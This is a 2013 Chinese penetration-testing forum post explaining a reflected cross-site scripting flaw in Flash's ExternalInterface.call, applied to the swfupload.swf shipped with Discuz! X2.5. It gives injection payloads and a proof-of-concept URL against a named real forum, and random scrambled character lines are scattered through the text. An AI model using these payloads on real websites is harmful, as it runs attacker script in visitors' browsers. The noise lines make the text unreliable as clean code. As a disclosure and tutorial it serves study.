中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
/ H8 C6 U* d5 v$ S* W
- _7 j' e4 m' \4 k& y
flash.external.ExternalInterface.call($methodName, $parameter)
z' x! `+ z/ A# {: v
在浏览器中执行的是
9 C M7 f5 @7 s! z4 V& j0 }
& ]7 a% w5 l( Y1 `! M
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
( h- A9 Z2 L z) d
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
8 H, o, n8 K7 U* M
# X. o& V6 R3 J" a9 m
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
( a& n+ J: X& W7 Q0 b }/ m# q
$methodName = a())}catch(e){alert(/xss/)}//
2 z1 T: w& w9 T
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
2 p9 M# E- t( o. X z1 s7 w
, L# K9 D8 O. R6 b* ^
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
, p0 f* ?/ E. T5 |
/ R& A0 e8 |. B+ K7 \- u7 [3 g
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
; `4 Y4 A' q# S/ {9 n m
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
8 h0 m1 _# n4 g1 u j& ~
0 ~% I$ ~9 i1 N, ]3 l( Y
# g. B% c* s9 I1 W
4 A$ _9 s$ G/ t4 y
漏洞文件:upload\static\image\common\swfupload.swf
9 P0 s& {5 |0 w2 M; m
# ^% G8 ~2 _# \& a9 x
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
! p# L& S ?7 \8 U/ G) U
9 F, j0 ?! @% Q9 B4 a% j1 M
4 }- E1 p8 a7 ?
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
6 k5 X' X' B! ?' @
8 C; S y0 l- }; k
* s+ z% ^6 V* t% r; \6 @
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2